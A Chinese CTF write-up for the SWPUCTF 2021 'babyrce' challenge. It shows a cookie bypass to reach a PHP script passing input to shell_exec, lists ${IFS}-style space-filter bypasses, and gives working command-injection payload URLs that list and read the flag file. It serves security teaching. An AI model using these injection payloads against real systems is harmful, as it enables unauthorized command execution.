[SWPUCTF 2021 新生赛]babyrce

简介: [SWPUCTF 2021 新生赛]babyrce

0×01
打开题目环境,直接看重要代码

if($_COOKIE['admin']==1) 
{
    include "../next.php";
}

发现只有当COOKIE中admin的值等于1才可以执行下一步命令,跳出下一个文件。

0×02
打开题目环境,使用burp进行抓包,在抓包信息中,添加如下代码:

COOKIE:admin=1

Forward重放
在环境中发现新的PHP文件
rasalghul.php
url/rasalghul.php进行访问
发现PHP代码

if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}

给了一个参数url,发现还需要进行空格绕过。
常用的绕过方法

cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

使用url=ls${IFS}查看根目录下的文件

url/rasalghul.php/?url=ls${IFS}

发现可疑文件flllllaaaaaaggggggg,疑似flag
构造payload并进行空格绕过,读取flag

url/rasalghul.php/?url=cat${IFS}$1/flllllaaaaaaggggggg

回显flag

NSSCTF{74e32ff7-033e-4262-887f-06968c36d204}
目录
相关文章
|
11月前
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
445 0
|
9月前
|
存储
[ACTF新生赛2020]SoulLike 题解
[ACTF新生赛2020]SoulLike 题解
91 0
|
11月前
|
PHP
[SWPUCTF 2021 新生赛]include
[SWPUCTF 2021 新生赛]include
138 0
|
2月前
|
数据安全/隐私保护
BUUCTF [ACTF新生赛2020]outguess 1
BUUCTF [ACTF新生赛2020]outguess 1
36 0
BUUCTF [ACTF新生赛2020]outguess 1
|
7月前
|
PHP
[SWPUCTF 2021 新生赛] ez_unserialize
[SWPUCTF 2021 新生赛] ez_unserialize
65 1
|
8月前
|
Java
hdu2519 新生晚会
hdu2519 新生晚会
40 0
|
9月前
|
定位技术
[ACTF新生赛2020]Oruga 题解
[ACTF新生赛2020]Oruga 题解
44 0
|
9月前
|
安全 数据安全/隐私保护
[ACTF新生赛2020]fungame 题解
[ACTF新生赛2020]fungame 题解
85 0
|
9月前
|
存储
[ACTF新生赛2020]easyre 题解
[ACTF新生赛2020]easyre 题解
157 0
|
11月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]crypto8
[SWPUCTF 2021 新生赛]crypto8
125 1